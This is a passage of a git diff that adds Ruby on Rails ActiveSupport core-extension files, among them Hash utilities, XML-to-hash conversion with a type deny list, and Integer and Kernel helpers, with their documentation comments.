+  # behavior you can provide a different directory but it must be on the
+  # same physical filesystem as the file you're trying to write.
+  #
+  #   File.atomic_write('/data/something.important', '/data/tmp') do |file|
+  #     file.write('hello')
+  #   end
+  def self.atomic_write(file_name, temp_dir = dirname(file_name))
+    require "tempfile" unless defined?(Tempfile)
+
+    Tempfile.open(".#{basename(file_name)}", temp_dir) do |temp_file|
+      temp_file.binmode
+      return_val = yield temp_file
+      temp_file.close
+
+      old_stat = if exist?(file_name)
+        # Get original file permissions
+        stat(file_name)
+      elsif temp_dir != dirname(file_name)
+        # If not possible, probe which are the default permissions in the
+        # destination directory.
+        probe_stat_in(dirname(file_name))
+      end
+
+      if old_stat
+        # Set correct permissions on new file
+        begin
+          chown(old_stat.uid, old_stat.gid, temp_file.path)
+          # This operation will affect filesystem ACL's
+          chmod(old_stat.mode, temp_file.path)
+        rescue Errno::EPERM, Errno::EACCES
+          # Changing file ownership failed, moving on.
+        end
+      end
+
+      # Overwrite original file with temp file
+      rename(temp_file.path, file_name)
+      return_val
+    end
+  end
+
+  # Private utility method.
+  def self.probe_stat_in(dir) #:nodoc:
+    basename = [
+      ".permissions_check",
+      Thread.current.object_id,
+      Process.pid,
+      rand(1000000)
+    ].join(".")
+
+    file_name = join(dir, basename)
+    FileUtils.touch(file_name)
+    stat(file_name)
+  ensure
+    FileUtils.rm_f(file_name) if file_name
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/hash.rb b/activesupport/lib/active_support/core_ext/hash.rb
new file mode 100644
index 0000000000..a74a8c15a6
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/hash.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+require_relative "hash/compact"
+require_relative "hash/conversions"
+require_relative "hash/deep_merge"
+require_relative "hash/except"
+require_relative "hash/indifferent_access"
+require_relative "hash/keys"
+require_relative "hash/reverse_merge"
+require_relative "hash/slice"
+require_relative "hash/transform_values"
diff --git a/activesupport/lib/active_support/core_ext/hash/compact.rb b/activesupport/lib/active_support/core_ext/hash/compact.rb
new file mode 100644
index 0000000000..d6364dd9f3
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/hash/compact.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+class Hash
+  unless Hash.instance_methods(false).include?(:compact)
+    # Returns a hash with non +nil+ values.
+    #
+    #   hash = { a: true, b: false, c: nil }
+    #   hash.compact        # => { a: true, b: false }
+    #   hash                # => { a: true, b: false, c: nil }
+    #   { c: nil }.compact  # => {}
+    #   { c: true }.compact # => { c: true }
+    def compact
+      select { |_, value| !value.nil? }
+    end
+  end
+
+  unless Hash.instance_methods(false).include?(:compact!)
+    # Replaces current hash with non +nil+ values.
+    # Returns +nil+ if no changes were made, otherwise returns the hash.
+    #
+    #   hash = { a: true, b: false, c: nil }
+    #   hash.compact!        # => { a: true, b: false }
+    #   hash                 # => { a: true, b: false }
+    #   { c: true }.compact! # => nil
+    def compact!
+      reject! { |_, value| value.nil? }
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/hash/conversions.rb b/activesupport/lib/active_support/core_ext/hash/conversions.rb
new file mode 100644
index 0000000000..0c0701134e
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/hash/conversions.rb
@@ -0,0 +1,263 @@
+# frozen_string_literal: true
+
+require_relative "../../xml_mini"
+require_relative "../../time"
+require_relative "../object/blank"
+require_relative "../object/to_param"
+require_relative "../object/to_query"
+require_relative "../array/wrap"
+require_relative "reverse_merge"
+require_relative "../string/inflections"
+
+class Hash
+  # Returns a string containing an XML representation of its receiver:
+  #
+  #   { foo: 1, bar: 2 }.to_xml
+  #   # =>
+  #   # <?xml version="1.0" encoding="UTF-8"?>
+  #   # <hash>
+  #   #   <foo type="integer">1</foo>
+  #   #   <bar type="integer">2</bar>
+  #   # </hash>
+  #
+  # To do so, the method loops over the pairs and builds nodes that depend on
+  # the _values_. Given a pair +key+, +value+:
+  #
+  # * If +value+ is a hash there's a recursive call with +key+ as <tt>:root</tt>.
+  #
+  # * If +value+ is an array there's a recursive call with +key+ as <tt>:root</tt>,
+  #   and +key+ singularized as <tt>:children</tt>.
+  #
+  # * If +value+ is a callable object it must expect one or two arguments. Depending
+  #   on the arity, the callable is invoked with the +options+ hash as first argument
+  #   with +key+ as <tt>:root</tt>, and +key+ singularized as second argument. The
+  #   callable can add nodes by using <tt>options[:builder]</tt>.
+  #
+  #     {foo: lambda { |options, key| options[:builder].b(key) }}.to_xml
+  #     # => "<b>foo</b>"
+  #
+  # * If +value+ responds to +to_xml+ the method is invoked with +key+ as <tt>:root</tt>.
+  #
+  #     class Foo
+  #       def to_xml(options)
+  #         options[:builder].bar 'fooing!'
+  #       end
+  #     end
+  #
+  #     { foo: Foo.new }.to_xml(skip_instruct: true)
+  #     # =>
+  #     # <hash>
+  #     #   <bar>fooing!</bar>
+  #     # </hash>
+  #
+  # * Otherwise, a node with +key+ as tag is created with a string representation of
+  #   +value+ as text node. If +value+ is +nil+ an attribute "nil" set to "true" is added.
+  #   Unless the option <tt>:skip_types</tt> exists and is true, an attribute "type" is
+  #   added as well according to the following mapping:
+  #
+  #     XML_TYPE_NAMES = {
+  #       "Symbol"     => "symbol",
+  #       "Integer"    => "integer",
+  #       "BigDecimal" => "decimal",
+  #       "Float"      => "float",
+  #       "TrueClass"  => "boolean",
+  #       "FalseClass" => "boolean",
+  #       "Date"       => "date",
+  #       "DateTime"   => "dateTime",
+  #       "Time"       => "dateTime"
+  #     }
+  #
+  # By default the root node is "hash", but that's configurable via the <tt>:root</tt> option.
+  #
+  # The default XML builder is a fresh instance of <tt>Builder::XmlMarkup</tt>. You can
+  # configure your own builder with the <tt>:builder</tt> option. The method also accepts
+  # options like <tt>:dasherize</tt> and friends, they are forwarded to the builder.
+  def to_xml(options = {})
+    require_relative "../../builder" unless defined?(Builder)
+
+    options = options.dup
+    options[:indent]  ||= 2
+    options[:root]    ||= "hash"
+    options[:builder] ||= Builder::XmlMarkup.new(indent: options[:indent])
+
+    builder = options[:builder]
+    builder.instruct! unless options.delete(:skip_instruct)
+
+    root = ActiveSupport::XmlMini.rename_key(options[:root].to_s, options)
+
+    builder.tag!(root) do
+      each { |key, value| ActiveSupport::XmlMini.to_tag(key, value, options) }
+      yield builder if block_given?
+    end
+  end
+
+  class << self
+    # Returns a Hash containing a collection of pairs when the key is the node name and the value is
+    # its content
+    #
+    #   xml = <<-XML
+    #     <?xml version="1.0" encoding="UTF-8"?>
+    #       <hash>
+    #         <foo type="integer">1</foo>
+    #         <bar type="integer">2</bar>
+    #       </hash>
+    #   XML
+    #
+    #   hash = Hash.from_xml(xml)
+    #   # => {"hash"=>{"foo"=>1, "bar"=>2}}
+    #
+    # +DisallowedType+ is raised if the XML contains attributes with <tt>type="yaml"</tt> or
+    # <tt>type="symbol"</tt>. Use <tt>Hash.from_trusted_xml</tt> to
+    # parse this XML.
+    #
+    # Custom +disallowed_types+ can also be passed in the form of an
+    # array.
+    #
+    #   xml = <<-XML
+    #     <?xml version="1.0" encoding="UTF-8"?>
+    #       <hash>
+    #         <foo type="integer">1</foo>
+    #         <bar type="string">"David"</bar>
+    #       </hash>
+    #   XML
+    #
+    #   hash = Hash.from_xml(xml, ['integer'])
+    #   # => ActiveSupport::XMLConverter::DisallowedType: Disallowed type attribute: "integer"
+    #
+    # Note that passing custom disallowed types will override the default types,
+    # which are Symbol and YAML.
+    def from_xml(xml, disallowed_types = nil)
+      ActiveSupport::XMLConverter.new(xml, disallowed_types).to_h
+    end
+
+    # Builds a Hash from XML just like <tt>Hash.from_xml</tt>, but also allows Symbol and YAML.
+    def from_trusted_xml(xml)
+      from_xml xml, []
+    end
+  end
+end
+
+module ActiveSupport
+  class XMLConverter # :nodoc:
+    # Raised if the XML contains attributes with type="yaml" or
+    # type="symbol". Read Hash#from_xml for more details.
+    class DisallowedType < StandardError
+      def initialize(type)
+        super "Disallowed type attribute: #{type.inspect}"
+      end
+    end
+
+    DISALLOWED_TYPES = %w(symbol yaml)
+
+    def initialize(xml, disallowed_types = nil)
+      @xml = normalize_keys(XmlMini.parse(xml))
+      @disallowed_types = disallowed_types || DISALLOWED_TYPES
+    end
+
+    def to_h
+      deep_to_h(@xml)
+    end
+
+    private
+      def normalize_keys(params)
+        case params
+        when Hash
+          Hash[params.map { |k, v| [k.to_s.tr("-", "_"), normalize_keys(v)] } ]
+        when Array
+          params.map { |v| normalize_keys(v) }
+          else
+          params
+        end
+      end
+
+      def deep_to_h(value)
+        case value
+        when Hash
+          process_hash(value)
+        when Array
+          process_array(value)
+        when String
+          value
+          else
+          raise "can't typecast #{value.class.name} - #{value.inspect}"
+        end
+      end
+
+      def process_hash(value)
+        if value.include?("type") && !value["type"].is_a?(Hash) && @disallowed_types.include?(value["type"])
+          raise DisallowedType, value["type"]
+        end
+
+        if become_array?(value)
+          _, entries = Array.wrap(value.detect { |k, v| not v.is_a?(String) })
+          if entries.nil? || value["__content__"].try(:empty?)
+            []
+          else
+            case entries
+            when Array
+              entries.collect { |v| deep_to_h(v) }
+            when Hash
+              [deep_to_h(entries)]
+            else
+              raise "can't typecast #{entries.inspect}"
+            end
+          end
+        elsif become_content?(value)
+          process_content(value)
+
+        elsif become_empty_string?(value)
+          ""
+        elsif become_hash?(value)
+          xml_value = Hash[value.map { |k, v| [k, deep_to_h(v)] }]
+
+          # Turn { files: { file: #<StringIO> } } into { files: #<StringIO> } so it is compatible with
+          # how multipart uploaded files from HTML appear
+          xml_value["file"].is_a?(StringIO) ? xml_value["file"] : xml_value
+        end
+      end
+
+      def become_content?(value)
+        value["type"] == "file" || (value["__content__"] && (value.keys.size == 1 || value["__content__"].present?))
+      end
+
+      def become_array?(value)
+        value["type"] == "array"
+      end
+
+      def become_empty_string?(value)
+        # { "string" => true }
+        # No tests fail when the second term is removed.
+        value["type"] == "string" && value["nil"] != "true"
+      end
+
+      def become_hash?(value)
+        !nothing?(value) && !garbage?(value)
+      end
+
+      def nothing?(value)
+        # blank or nil parsed values are represented by nil
+        value.blank? || value["nil"] == "true"
+      end
+
+      def garbage?(value)
+        # If the type is the only element which makes it then
+        # this still makes the value nil, except if type is
+        # an XML node(where type['value'] is a Hash)
+        value["type"] && !value["type"].is_a?(::Hash) && value.size == 1
+      end
+
+      def process_content(value)
+        content = value["__content__"]
+        if parser = ActiveSupport::XmlMini::PARSING[value["type"]]
+          parser.arity == 1 ? parser.call(content) : parser.call(content, value)
+        else
+          content
+        end
+      end
+
+      def process_array(value)
+        value.map! { |i| deep_to_h(i) }
+        value.length > 1 ? value : value.first
+      end
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/hash/deep_merge.rb b/activesupport/lib/active_support/core_ext/hash/deep_merge.rb
new file mode 100644
index 0000000000..f92a2f1c2a
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/hash/deep_merge.rb
@@ -0,0 +1,40 @@
+# frozen_string_literal: true
+
+class Hash
+  # Returns a new hash with +self+ and +other_hash+ merged recursively.
+  #
+  #   h1 = { a: true, b: { c: [1, 2, 3] } }
+  #   h2 = { a: false, b: { x: [3, 4, 5] } }
+  #
+  #   h1.deep_merge(h2) # => { a: false, b: { c: [1, 2, 3], x: [3, 4, 5] } }
+  #
+  # Like with Hash#merge in the standard library, a block can be provided
+  # to merge values:
+  #
+  #   h1 = { a: 100, b: 200, c: { c1: 100 } }
+  #   h2 = { b: 250, c: { c1: 200 } }
+  #   h1.deep_merge(h2) { |key, this_val, other_val| this_val + other_val }
+  #   # => { a: 100, b: 450, c: { c1: 300 } }
+  def deep_merge(other_hash, &block)
+    dup.deep_merge!(other_hash, &block)
+  end
+
+  # Same as +deep_merge+, but modifies +self+.
+  def deep_merge!(other_hash, &block)
+    other_hash.each_pair do |current_key, other_value|
+      this_value = self[current_key]
+
+      self[current_key] = if this_value.is_a?(Hash) && other_value.is_a?(Hash)
+        this_value.deep_merge(other_value, &block)
+      else
+        if block_given? && key?(current_key)
+          block.call(current_key, this_value, other_value)
+        else
+          other_value
+        end
+      end
+    end
+
+    self
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/hash/except.rb b/activesupport/lib/active_support/core_ext/hash/except.rb
new file mode 100644
index 0000000000..6258610c98
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/hash/except.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+class Hash
+  # Returns a hash that includes everything except given keys.
+  #   hash = { a: true, b: false, c: nil }
+  #   hash.except(:c)     # => { a: true, b: false }
+  #   hash.except(:a, :b) # => { c: nil }
+  #   hash                # => { a: true, b: false, c: nil }
+  #
+  # This is useful for limiting a set of parameters to everything but a few known toggles:
+  #   @person.update(params[:person].except(:admin))
+  def except(*keys)
+    dup.except!(*keys)
+  end
+
+  # Removes the given keys from hash and returns it.
+  #   hash = { a: true, b: false, c: nil }
+  #   hash.except!(:c) # => { a: true, b: false }
+  #   hash             # => { a: true, b: false }
+  def except!(*keys)
+    keys.each { |key| delete(key) }
+    self
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/hash/indifferent_access.rb b/activesupport/lib/active_support/core_ext/hash/indifferent_access.rb
new file mode 100644
index 0000000000..4681d986db
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/hash/indifferent_access.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+require_relative "../../hash_with_indifferent_access"
+
+class Hash
+  # Returns an <tt>ActiveSupport::HashWithIndifferentAccess</tt> out of its receiver:
+  #
+  #   { a: 1 }.with_indifferent_access['a'] # => 1
+  def with_indifferent_access
+    ActiveSupport::HashWithIndifferentAccess.new(self)
+  end
+
+  # Called when object is nested under an object that receives
+  # #with_indifferent_access. This method will be called on the current object
+  # by the enclosing object and is aliased to #with_indifferent_access by
+  # default. Subclasses of Hash may overwrite this method to return +self+ if
+  # converting to an <tt>ActiveSupport::HashWithIndifferentAccess</tt> would not be
+  # desirable.
+  #
+  #   b = { b: 1 }
+  #   { a: b }.with_indifferent_access['a'] # calls b.nested_under_indifferent_access
+  #   # => {"b"=>1}
+  alias nested_under_indifferent_access with_indifferent_access
+end
diff --git a/activesupport/lib/active_support/core_ext/hash/keys.rb b/activesupport/lib/active_support/core_ext/hash/keys.rb
new file mode 100644
index 0000000000..d291802b40
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/hash/keys.rb
@@ -0,0 +1,172 @@
+# frozen_string_literal: true
+
+class Hash
+  # Returns a new hash with all keys converted using the +block+ operation.
+  #
+  #  hash = { name: 'Rob', age: '28' }
+  #
+  #  hash.transform_keys { |key| key.to_s.upcase } # => {"NAME"=>"Rob", "AGE"=>"28"}
+  #
+  # If you do not provide a +block+, it will return an Enumerator
+  # for chaining with other methods:
+  #
+  #  hash.transform_keys.with_index { |k, i| [k, i].join } # => {"name0"=>"Rob", "age1"=>"28"}
+  def transform_keys
+    return enum_for(:transform_keys) { size } unless block_given?
+    result = {}
+    each_key do |key|
+      result[yield(key)] = self[key]
+    end
+    result
+  end
+
+  # Destructively converts all keys using the +block+ operations.
+  # Same as +transform_keys+ but modifies +self+.
+  def transform_keys!
+    return enum_for(:transform_keys!) { size } unless block_given?
+    keys.each do |key|
+      self[yield(key)] = delete(key)
+    end
+    self
+  end
+
+  # Returns a new hash with all keys converted to strings.
+  #
+  #   hash = { name: 'Rob', age: '28' }
+  #
+  #   hash.stringify_keys
+  #   # => {"name"=>"Rob", "age"=>"28"}
+  def stringify_keys
+    transform_keys(&:to_s)
+  end
+
+  # Destructively converts all keys to strings. Same as
+  # +stringify_keys+, but modifies +self+.
+  def stringify_keys!
+    transform_keys!(&:to_s)
+  end
+
+  # Returns a new hash with all keys converted to symbols, as long as
+  # they respond to +to_sym+.
+  #
+  #   hash = { 'name' => 'Rob', 'age' => '28' }
+  #
+  #   hash.symbolize_keys
+  #   # => {:name=>"Rob", :age=>"28"}
+  def symbolize_keys
+    transform_keys { |key| key.to_sym rescue key }
+  end
+  alias_method :to_options,  :symbolize_keys
+
+  # Destructively converts all keys to symbols, as long as they respond
+  # to +to_sym+. Same as +symbolize_keys+, but modifies +self+.
+  def symbolize_keys!
+    transform_keys! { |key| key.to_sym rescue key }
+  end
+  alias_method :to_options!, :symbolize_keys!
+
+  # Validates all keys in a hash match <tt>*valid_keys</tt>, raising
+  # +ArgumentError+ on a mismatch.
+  #
+  # Note that keys are treated differently than HashWithIndifferentAccess,
+  # meaning that string and symbol keys will not match.
+  #
+  #   { name: 'Rob', years: '28' }.assert_valid_keys(:name, :age) # => raises "ArgumentError: Unknown key: :years. Valid keys are: :name, :age"
+  #   { name: 'Rob', age: '28' }.assert_valid_keys('name', 'age') # => raises "ArgumentError: Unknown key: :name. Valid keys are: 'name', 'age'"
+  #   { name: 'Rob', age: '28' }.assert_valid_keys(:name, :age)   # => passes, raises nothing
+  def assert_valid_keys(*valid_keys)
+    valid_keys.flatten!
+    each_key do |k|
+      unless valid_keys.include?(k)
+        raise ArgumentError.new("Unknown key: #{k.inspect}. Valid keys are: #{valid_keys.map(&:inspect).join(', ')}")
+      end
+    end
+  end
+
+  # Returns a new hash with all keys converted by the block operation.
+  # This includes the keys from the root hash and from all
+  # nested hashes and arrays.
+  #
+  #  hash = { person: { name: 'Rob', age: '28' } }
+  #
+  #  hash.deep_transform_keys{ |key| key.to_s.upcase }
+  #  # => {"PERSON"=>{"NAME"=>"Rob", "AGE"=>"28"}}
+  def deep_transform_keys(&block)
+    _deep_transform_keys_in_object(self, &block)
+  end
+
+  # Destructively converts all keys by using the block operation.
+  # This includes the keys from the root hash and from all
+  # nested hashes and arrays.
+  def deep_transform_keys!(&block)
+    _deep_transform_keys_in_object!(self, &block)
+  end
+
+  # Returns a new hash with all keys converted to strings.
+  # This includes the keys from the root hash and from all
+  # nested hashes and arrays.
+  #
+  #   hash = { person: { name: 'Rob', age: '28' } }
+  #
+  #   hash.deep_stringify_keys
+  #   # => {"person"=>{"name"=>"Rob", "age"=>"28"}}
+  def deep_stringify_keys
+    deep_transform_keys(&:to_s)
+  end
+
+  # Destructively converts all keys to strings.
+  # This includes the keys from the root hash and from all
+  # nested hashes and arrays.
+  def deep_stringify_keys!
+    deep_transform_keys!(&:to_s)
+  end
+
+  # Returns a new hash with all keys converted to symbols, as long as
+  # they respond to +to_sym+. This includes the keys from the root hash
+  # and from all nested hashes and arrays.
+  #
+  #   hash = { 'person' => { 'name' => 'Rob', 'age' => '28' } }
+  #
+  #   hash.deep_symbolize_keys
+  #   # => {:person=>{:name=>"Rob", :age=>"28"}}
+  def deep_symbolize_keys
+    deep_transform_keys { |key| key.to_sym rescue key }
+  end
+
+  # Destructively converts all keys to symbols, as long as they respond
+  # to +to_sym+. This includes the keys from the root hash and from all
+  # nested hashes and arrays.
+  def deep_symbolize_keys!
+    deep_transform_keys! { |key| key.to_sym rescue key }
+  end
+
+  private
+    # support methods for deep transforming nested hashes and arrays
+    def _deep_transform_keys_in_object(object, &block)
+      case object
+      when Hash
+        object.each_with_object({}) do |(key, value), result|
+          result[yield(key)] = _deep_transform_keys_in_object(value, &block)
+        end
+      when Array
+        object.map { |e| _deep_transform_keys_in_object(e, &block) }
+      else
+        object
+      end
+    end
+
+    def _deep_transform_keys_in_object!(object, &block)
+      case object
+      when Hash
+        object.keys.each do |key|
+          value = object.delete(key)
+          object[yield(key)] = _deep_transform_keys_in_object!(value, &block)
+        end
+        object
+      when Array
+        object.map! { |e| _deep_transform_keys_in_object!(e, &block) }
+      else
+        object
+      end
+    end
+end
diff --git a/activesupport/lib/active_support/core_ext/hash/reverse_merge.rb b/activesupport/lib/active_support/core_ext/hash/reverse_merge.rb
new file mode 100644
index 0000000000..ef8d592829
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/hash/reverse_merge.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+class Hash
+  # Merges the caller into +other_hash+. For example,
+  #
+  #   options = options.reverse_merge(size: 25, velocity: 10)
+  #
+  # is equivalent to
+  #
+  #   options = { size: 25, velocity: 10 }.merge(options)
+  #
+  # This is particularly useful for initializing an options hash
+  # with default values.
+  def reverse_merge(other_hash)
+    other_hash.merge(self)
+  end
+  alias_method :with_defaults, :reverse_merge
+
+  # Destructive +reverse_merge+.
+  def reverse_merge!(other_hash)
+    replace(reverse_merge(other_hash))
+  end
+  alias_method :reverse_update, :reverse_merge!
+  alias_method :with_defaults!, :reverse_merge!
+end
diff --git a/activesupport/lib/active_support/core_ext/hash/slice.rb b/activesupport/lib/active_support/core_ext/hash/slice.rb
new file mode 100644
index 0000000000..94dc225edb
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/hash/slice.rb
@@ -0,0 +1,50 @@
+# frozen_string_literal: true
+
+class Hash
+  # Slices a hash to include only the given keys. Returns a hash containing
+  # the given keys.
+  #
+  #   { a: 1, b: 2, c: 3, d: 4 }.slice(:a, :b)
+  #   # => {:a=>1, :b=>2}
+  #
+  # This is useful for limiting an options hash to valid keys before
+  # passing to a method:
+  #
+  #   def search(criteria = {})
+  #     criteria.assert_valid_keys(:mass, :velocity, :time)
+  #   end
+  #
+  #   search(options.slice(:mass, :velocity, :time))
+  #
+  # If you have an array of keys you want to limit to, you should splat them:
+  #
+  #   valid_keys = [:mass, :velocity, :time]
+  #   search(options.slice(*valid_keys))
+  def slice(*keys)
+    keys.map! { |key| convert_key(key) } if respond_to?(:convert_key, true)
+    keys.each_with_object(self.class.new) { |k, hash| hash[k] = self[k] if has_key?(k) }
+  end
+
+  # Replaces the hash with only the given keys.
+  # Returns a hash containing the removed key/value pairs.
+  #
+  #   { a: 1, b: 2, c: 3, d: 4 }.slice!(:a, :b)
+  #   # => {:c=>3, :d=>4}
+  def slice!(*keys)
+    keys.map! { |key| convert_key(key) } if respond_to?(:convert_key, true)
+    omit = slice(*self.keys - keys)
+    hash = slice(*keys)
+    hash.default      = default
+    hash.default_proc = default_proc if default_proc
+    replace(hash)
+    omit
+  end
+
+  # Removes and returns the key/value pairs matching the given keys.
+  #
+  #   { a: 1, b: 2, c: 3, d: 4 }.extract!(:a, :b) # => {:a=>1, :b=>2}
+  #   { a: 1, b: 2 }.extract!(:a, :x)             # => {:a=>1}
+  def extract!(*keys)
+    keys.each_with_object(self.class.new) { |key, result| result[key] = delete(key) if has_key?(key) }
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/hash/transform_values.rb b/activesupport/lib/active_support/core_ext/hash/transform_values.rb
new file mode 100644
index 0000000000..4b19c9fc1f
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/hash/transform_values.rb
@@ -0,0 +1,32 @@
+# frozen_string_literal: true
+
+class Hash
+  # Returns a new hash with the results of running +block+ once for every value.
+  # The keys are unchanged.
+  #
+  #   { a: 1, b: 2, c: 3 }.transform_values { |x| x * 2 } # => { a: 2, b: 4, c: 6 }
+  #
+  # If you do not provide a +block+, it will return an Enumerator
+  # for chaining with other methods:
+  #
+  #   { a: 1, b: 2 }.transform_values.with_index { |v, i| [v, i].join.to_i } # => { a: 10, b: 21 }
+  def transform_values
+    return enum_for(:transform_values) { size } unless block_given?
+    return {} if empty?
+    result = self.class.new
+    each do |key, value|
+      result[key] = yield(value)
+    end
+    result
+  end unless method_defined? :transform_values
+
+  # Destructively converts all values using the +block+ operations.
+  # Same as +transform_values+ but modifies +self+.
+  def transform_values!
+    return enum_for(:transform_values!) { size } unless block_given?
+    each do |key, value|
+      self[key] = yield(value)
+    end
+  end unless method_defined? :transform_values!
+  # TODO: Remove this file when supporting only Ruby 2.4+.
+end
diff --git a/activesupport/lib/active_support/core_ext/integer.rb b/activesupport/lib/active_support/core_ext/integer.rb
new file mode 100644
index 0000000000..df80e7ffdb
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/integer.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+require_relative "integer/multiple"
+require_relative "integer/inflections"
+require_relative "integer/time"
diff --git a/activesupport/lib/active_support/core_ext/integer/inflections.rb b/activesupport/lib/active_support/core_ext/integer/inflections.rb
new file mode 100644
index 0000000000..7192e92346
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/integer/inflections.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+require_relative "../../inflector"
+
+class Integer
+  # Ordinalize turns a number into an ordinal string used to denote the
+  # position in an ordered sequence such as 1st, 2nd, 3rd, 4th.
+  #
+  #  1.ordinalize     # => "1st"
+  #  2.ordinalize     # => "2nd"
+  #  1002.ordinalize  # => "1002nd"
+  #  1003.ordinalize  # => "1003rd"
+  #  -11.ordinalize   # => "-11th"
+  #  -1001.ordinalize # => "-1001st"
+  def ordinalize
+    ActiveSupport::Inflector.ordinalize(self)
+  end
+
+  # Ordinal returns the suffix used to denote the position
+  # in an ordered sequence such as 1st, 2nd, 3rd, 4th.
+  #
+  #  1.ordinal     # => "st"
+  #  2.ordinal     # => "nd"
+  #  1002.ordinal  # => "nd"
+  #  1003.ordinal  # => "rd"
+  #  -11.ordinal   # => "th"
+  #  -1001.ordinal # => "st"
+  def ordinal
+    ActiveSupport::Inflector.ordinal(self)
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/integer/multiple.rb b/activesupport/lib/active_support/core_ext/integer/multiple.rb
new file mode 100644
index 0000000000..e7606662d3
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/integer/multiple.rb
@@ -0,0 +1,12 @@
+# frozen_string_literal: true
+
+class Integer
+  # Check whether the integer is evenly divisible by the argument.
+  #
+  #   0.multiple_of?(0)  # => true
+  #   6.multiple_of?(5)  # => false
+  #   10.multiple_of?(2) # => true
+  def multiple_of?(number)
+    number != 0 ? self % number == 0 : zero?
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/integer/time.rb b/activesupport/lib/active_support/core_ext/integer/time.rb
new file mode 100644
index 0000000000..30c8f3bcf2
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/integer/time.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+require_relative "../../duration"
+require_relative "../numeric/time"
+
+class Integer
+  # Enables the use of time calculations and declarations, like <tt>45.minutes +
+  # 2.hours + 4.years</tt>.
+  #
+  # These methods use Time#advance for precise date calculations when using
+  # <tt>from_now</tt>, +ago+, etc. as well as adding or subtracting their
+  # results from a Time object.
+  #
+  #   # equivalent to Time.now.advance(months: 1)
+  #   1.month.from_now
+  #
+  #   # equivalent to Time.now.advance(years: 2)
+  #   2.years.from_now
+  #
+  #   # equivalent to Time.now.advance(months: 4, years: 5)
+  #   (4.months + 5.years).from_now
+  def months
+    ActiveSupport::Duration.months(self)
+  end
+  alias :month :months
+
+  def years
+    ActiveSupport::Duration.years(self)
+  end
+  alias :year :years
+end
diff --git a/activesupport/lib/active_support/core_ext/kernel.rb b/activesupport/lib/active_support/core_ext/kernel.rb
new file mode 100644
index 0000000000..30810ce315
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/kernel.rb
@@ -0,0 +1,6 @@
+# frozen_string_literal: true
+
+require_relative "kernel/agnostics"
+require_relative "kernel/concern"
+require_relative "kernel/reporting"
+require_relative "kernel/singleton_class"
diff --git a/activesupport/lib/active_support/core_ext/kernel/agnostics.rb b/activesupport/lib/active_support/core_ext/kernel/agnostics.rb
new file mode 100644
index 0000000000..403b5f31f0
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/kernel/agnostics.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+class Object
+  # Makes backticks behave (somewhat more) similarly on all platforms.
+  # On win32 `nonexistent_command` raises Errno::ENOENT; on Unix, the
+  # spawned shell prints a message to stderr and sets $?. We emulate
+  # Unix on the former but not the latter.
+  def `(command) #:nodoc:
+    super
+  rescue Errno::ENOENT => e
+    STDERR.puts "#$0: #{e}"
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/kernel/concern.rb b/activesupport/lib/active_support/core_ext/kernel/concern.rb
new file mode 100644
index 0000000000..32af9981a5
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/kernel/concern.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+require_relative "../module/concerning"
+
+module Kernel
+  module_function
+
+  # A shortcut to define a toplevel concern, not within a module.
+  #
+  # See Module::Concerning for more.
+  def concern(topic, &module_definition)
+    Object.concern topic, &module_definition
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/kernel/reporting.rb b/activesupport/lib/active_support/core_ext/kernel/reporting.rb
new file mode 100644
index 0000000000..9155bd6c10
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/kernel/reporting.rb
@@ -0,0 +1,45 @@
+# frozen_string_literal: true
+
+module Kernel
+  module_function
+
+  # Sets $VERBOSE to +nil+ for the duration of the block and back to its original
+  # value afterwards.
+  #
+  #   silence_warnings do
+  #     value = noisy_call # no warning voiced
+  #   end
+  #
+  #   noisy_call # warning voiced
+  def silence_warnings
+    with_warnings(nil) { yield }
+  end
+
+  # Sets $VERBOSE to +true+ for the duration of the block and back to its
+  # original value afterwards.
+  def enable_warnings
+    with_warnings(true) { yield }
+  end
+
+  # Sets $VERBOSE for the duration of the block and back to its original
+  # value afterwards.
+  def with_warnings(flag)
+    old_verbose, $VERBOSE = $VERBOSE, flag
+    yield
+  ensure
+    $VERBOSE = old_verbose
+  end
+
+  # Blocks and ignores any exception passed as argument if raised within the block.
+  #
+  #   suppress(ZeroDivisionError) do
+  #     1/0
+  #     puts 'This code is NOT reached'
+  #   end
+  #
+  #   puts 'This code gets executed and nothing related to ZeroDivisionError was seen'
+  def suppress(*exception_classes)
+    yield
+  rescue *exception_classes
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/kernel/singleton_class.rb b/activesupport/lib/active_support/core_ext/kernel/singleton_class.rb
new file mode 100644
index 0000000000..6715eba80a
